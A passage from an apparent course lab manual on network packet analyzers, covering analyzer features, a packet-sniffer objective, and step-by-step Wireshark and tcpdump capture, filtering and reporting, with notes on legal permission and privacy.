o Search Functionality: Quickly find specific packets or data within the
captured traffic.
5. Customization:
o User-Defined Filters: Create custom filters to capture only the traffic
you are interested in.
33
oCustomizable Interface: Adjust the layout and appearance of the
analyzer to suit your workflow.
6. Export and Reporting:
o Data Export: Export captured data in various formats, such as CSV or
XML, for further analysis or reporting.
o Report Generation: Generate detailed reports on network traffic and
analysis results.
7. Integration and Extensibility:
o Plugin Support: Extend functionality with plugins and add-ons.
o Scripting: Automate tasks and customize analyses with scripting
languages like Lua or Python.
8. Security Features:
o Encryption Analysis: Analyze encrypted traffic and identify potential
security issues.
o Alerting and Notifications: Set up alerts for specific types of traffic or
anomalies.

Popular Network Packet Analyzers

 Wireshark: Known for its comprehensive features and user-friendly interface.


 tcpdump: A command-line tool popular for its powerful packet capturing
capabilities.

5.3 OBJECTIVE

Develop a packet sniffer tool that captures and analyzes network. packets. Display
relevant information such as source and destination IP addresses, protocols, and
payload data. Ensure the ethical use of the tool for educational purposes.

5.4 METHODOLOGY

1. Set Up the Environment

 Install the Analyzer: Download and install a network packet analyzer like
Wireshark or tcpdump.
 Configure Access: Ensure you have the necessary permissions to capture
network traffic on the device and network you’re analyzing.

34
2. Capture Network Traffic

 Select Network Interface: Choose the appropriate network interface (e.g.,


Ethernet, Wi-Fi) from which to capture traffic.
 Start Capturing: Begin capturing packets on the selected interface. This can
be done through the user interface (e.g., Wireshark) or command-line (e.g.,
tcpdump).

Example with Wireshark:

o Open Wireshark.
o Select the network interface.
o Click the "Start Capturing Packets" button.

Example with tcpdump:

bash

sudo tcpdump -i eth0 -w capture.pcap


3. Apply Filters

 Capture Filters: Set filters to capture only the specific traffic you’re
interested in (e.g., packets from a specific IP address or protocol).
o Wireshark Example: ip.addr == 192.168.1.1
o tcpdump Example: tcpdump -i eth0 host 192.168.1.1
 Display Filters: After capturing traffic, apply display filters to focus on
specific packets of interest within the captured data.
o Wireshark Example: http

4. Analyze Captured Data

 Examine Packet Details: Look at individual packets to understand their


contents, including headers and payload.
 Protocol Analysis: Decode various network protocols (e.g., TCP, UDP,
HTTP) to understand communication between devices.

5. Identify Issues

 Troubleshoot Network Problems: Use the captured data to identify and


diagnose network issues such as slow performance, connectivity problems, or
suspicious activity.

35
 Security Analysis: Look for signs of unauthorized access, malware
communication, or other security threats.

6. Save and Export Data

 Save Captures: Save the captured packets to a file for future analysis.
o Wireshark: File > Save As...
o tcpdump: tcpdump -i eth0 -w capture.pcap
 Export Data: Export data in various formats (e.g., CSV, XML) for further
analysis or reporting.

7. Generate Reports

 Summarize Findings: Create detailed reports on network activity, identifying


key patterns and issues.
 Visualize Data: Use graphs and charts to present the analysis results in an
understandable format.

Example with Wireshark

1. Install Wireshark from Wireshark's official website.


2. Start Wireshark and select the network interface.
3. Start capturing traffic by clicking the capture button.
4. Apply a display filter like http to focus on HTTP traffic.
5. Analyze the packets by examining the details pane.
6. Save the capture for later analysis: File > Save As...

Security and Ethical Considerations

 Legal Use: Always ensure you have permission to capture and analyze
network traffic. Unauthorized capturing of network data can be illegal and
unethical.
 Privacy: Be mindful of privacy when analyzing network traffic, especially if
the data includes sensitive information.

36
5.5 CONCLUSION :

A network packet analyzer is an indispensable tool for capturing, examining, and


interpreting data packets traveling across a network. It serves multiple purposes,
including troubleshooting network issues, enhancing security, and monitoring
performance.

37
38

You might also like